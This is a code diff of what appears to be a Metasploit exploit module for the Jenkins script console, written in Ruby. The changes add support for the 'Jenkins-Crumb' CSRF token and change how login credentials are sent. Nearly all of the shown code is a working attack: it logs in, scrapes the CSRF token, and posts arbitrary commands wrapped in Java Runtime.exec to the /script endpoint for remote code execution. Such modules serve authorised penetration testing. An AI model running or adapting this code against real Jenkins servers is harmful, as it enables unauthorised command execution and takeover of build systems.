@@ -78,15 +78,15 @@ def on_new_session(client)
78
78
def http_send_command ( cmd , opts = { } )
79
79
request_parameters = {
80
80
'method' => 'POST' ,
81
- 'uri' => normalize_uri ( @uri . path , " script" ) ,
81
+ 'uri' => normalize_uri ( @uri . path , ' script' ) ,
82
82
'vars_post' =>
83
83
{
84
84
'script' => java_craft_runtime_exec ( cmd ) ,
85
85
'Submit' => 'Run'
86
86
}
87
87
}
88
88
request_parameters [ 'cookie' ] = @cookie if @cookie != nil
89
- request_parameters [ 'vars_post' ] [ '. crumb' ] = @crumb if @crumb != nil
89
+ request_parameters [ 'vars_post' ] [ @ crumb[ :name ] ] = @crumb [ :value ] unless @crumb . nil?
90
90
res = send_request_cgi ( request_parameters )
91
91
if not ( res and res . code == 200 )
92
92
fail_with ( Failure ::Unknown , 'Failed to execute the command.' )
@@ -159,8 +159,8 @@ def exploit
159
159
'uri' => normalize_uri ( @uri . path , "j_acegi_security_check" ) ,
160
160
'vars_post' =>
161
161
{
162
- 'j_username' => Rex :: Text . uri_encode ( datastore [ 'USERNAME' ] , 'hex-normal' ) ,
163
- 'j_password' => Rex :: Text . uri_encode ( datastore [ 'PASSWORD' ] , 'hex-normal' ) ,
162
+ 'j_username' => datastore [ 'USERNAME' ] ,
163
+ 'j_password' => datastore [ 'PASSWORD' ] ,
164
164
'Submit' => 'log in'
165
165
}
166
166
} )
@@ -177,9 +177,12 @@ def exploit
177
177
print_status ( 'No authentication required, skipping login...' )
178
178
end
179
179
180
- if ( res . body =~ /"\. crumb", "([a-z0-9]*)"/ )
181
- print_status ( "Using CSRF token: '#{ $1} '" )
182
- @crumb = $1
180
+ if res . body =~ /"\. crumb", "([a-z0-9]*)"/
181
+ print_status ( "Using CSRF token: '#{ $1} ' (.crumb style)" )
182
+ @crumb = { :name => '.crumb' , :value => $1}
183
+ elsif res . body =~ /crumb\. init\( "Jenkins-Crumb", "([a-z0-9]*)"\) /
184
+ print_status ( "Using CSRF token: '#{ $1} ' (Jenkins-Crumb style)" )
185
+ @crumb = { :name => 'Jenkins-Crumb' , :value => $1}
183
186
end
184
187
185
188
case target [ 'Platform' ]
0 commit comments